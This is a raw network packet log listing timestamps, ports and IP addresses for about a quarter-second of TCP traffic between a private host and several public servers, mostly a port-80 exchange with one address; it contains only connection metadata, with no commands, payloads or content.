Nov 20, 2024 23:12:50.754013062 CET	443	49858	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:50.754223108 CET	49858	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:50.754292965 CET	49859	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:50.754343033 CET	443	49859	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:50.754524946 CET	49858	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:50.754539013 CET	443	49858	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:50.754539967 CET	49859	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:50.754681110 CET	49859	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:50.754698038 CET	443	49859	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:50.782393932 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.782437086 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.782449961 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.782516956 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.782908916 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.783025980 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.783720970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.783740044 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.783768892 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.783793926 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.783860922 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.784816027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.784831047 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.784874916 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.784897089 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.785855055 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.786154032 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.786396027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.786449909 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.786890984 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.786938906 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.787019014 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.787072897 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.788089037 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.788136959 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.788212061 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.788259029 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.789076090 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.789128065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.789199114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.789246082 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.790069103 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.790206909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.791126966 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.791188955 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.791245937 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.791594982 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.792223930 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.792292118 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.793028116 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.793175936 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.793328047 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.793344975 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.793385029 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.793404102 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.794312000 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.794349909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.794359922 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.794389963 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.795377016 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.795722008 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.796014071 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.796380043 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.796452045 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.796493053 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.796528101 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.796574116 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.797543049 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.797596931 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.798010111 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.798058033 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.798614979 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.798665047 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.798943043 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.799122095 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.799649954 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.799705982 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.799710035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.799747944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.800751925 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.800813913 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.800863981 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.800908089 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.801832914 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.801961899 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.802865982 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.802881956 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.802911997 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.802934885 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.803234100 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.803853989 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.803915024 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.804064035 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.804143906 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.804445982 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.804960012 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.805490017 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.805710077 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.805754900 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.806058884 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.806072950 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.806143045 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.807090998 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.807156086 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.807267904 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.807318926 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.808139086 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.808190107 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.808856010 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.809133053 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.809196949 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.809264898 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.810033083 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.810081959 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.810215950 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.810276985 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.810380936 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.810652971 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.811350107 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.811366081 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.811404943 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.811428070 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.812432051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.812478065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.812556982 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.812674999 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.813519001 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.813534975 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.813589096 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.814476013 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.814570904 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.814793110 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.815176010 CET	443	49845	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:50.815277100 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.815291882 CET	443	49845	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:50.815514088 CET	49845	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:50.815545082 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.815623999 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.815723896 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.816127062 CET	49845	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:50.816127062 CET	49845	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:50.816147089 CET	443	49845	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:50.816157103 CET	443	49845	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:50.816679001 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.816731930 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.816771984 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.817744970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.817862034 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.817888021 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.817979097 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.818861008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.818876982 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.818922043 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.818960905 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.820466995 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.820791006 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.820863008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.820916891 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.820934057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.820955992 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.820976973 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.821573019 CET	49860	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:50.821614981 CET	443	49860	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:50.821691036 CET	49860	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:50.821854115 CET	49860	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:50.821870089 CET	443	49860	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:50.821953058 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.822012901 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.822279930 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.822964907 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.822988033 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.823028088 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.823563099 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.823616028 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.824074984 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.824131012 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.824182034 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.824331999 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.825140953 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.825186014 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.825808048 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.825872898 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.826198101 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.826281071 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.826657057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.826971054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.827227116 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.827280998 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.827778101 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.827842951 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.828356981 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.828372002 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.828417063 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.829489946 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.829535007 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.829996109 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.830048084 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.830606937 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.830625057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.830866098 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.831517935 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.831532001 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.831568003 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.831592083 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.832592010 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.832607031 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.832638979 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.832670927 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.833600044 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.833651066 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.833703041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.833740950 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.834728956 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.834850073 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.835232973 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.835455894 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.835715055 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.835918903 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.835972071 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.836858034 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.836915970 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.836951971 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.837030888 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.837948084 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.838083982 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.842607021 CET	443	49846	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:50.843084097 CET	49846	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:50.843099117 CET	443	49846	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:50.843576908 CET	49846	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:50.843580961 CET	443	49846	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:50.843848944 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:50.846462965 CET	49847	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:50.846488953 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:50.847163916 CET	49847	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:50.847176075 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:50.909715891 CET	443	49843	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:50.909823895 CET	443	49843	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:50.909953117 CET	49843	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:50.911667109 CET	49843	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:50.911691904 CET	443	49843	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:50.911705017 CET	49843	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:50.911710024 CET	443	49843	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:50.979772091 CET	443	49851	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:50.982920885 CET	443	49852	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:50.992872953 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.992889881 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.993096113 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.993123055 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.993171930 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.993427038 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.993716955 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.994138956 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.994271040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.994302034 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.994389057 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.995223999 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.995290041 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.995292902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.995502949 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.996267080 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.996458054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.996496916 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.996742010 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.997369051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.997488022 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.997572899 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.998418093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.998506069 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.998557091 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.999474049 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.999530077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.999593019 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.999659061 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.000677109 CET	49852	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:51.000688076 CET	443	49852	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:51.000998974 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.001009941 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.001121044 CET	49851	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:51.001133919 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.001148939 CET	443	49851	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:51.001590967 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.001662970 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.001727104 CET	443	49851	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:51.001846075 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.001938105 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.002568960 CET	49851	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:51.002651930 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.002656937 CET	443	49851	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:51.002753019 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.002779007 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.002823114 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.003704071 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.003762960 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.004112959 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.004256010 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.004656076 CET	443	49852	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:51.004798889 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.004926920 CET	49852	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:51.005045891 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.005093098 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.005882978 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.005934954 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.005994081 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.006033897 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.006876945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.006925106 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.006926060 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.006969929 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.007985115 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.008066893 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.008074045 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.008122921 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.008188963 CET	49852	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:51.008374929 CET	443	49852	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:51.009057045 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.009129047 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.009167910 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.009206057 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.010071993 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.010134935 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.010189056 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.010307074 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.011132002 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.011269093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.011311054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.012212992 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.012285948 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.012290001 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.012336969 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.013262987 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.013492107 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.013523102 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.013600111 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.014298916 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.014416933 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.014446974 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.014518023 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.015399933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.015446901 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.015455008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.015489101 CET	49799	80	192.168.2.7	185.215.113.206
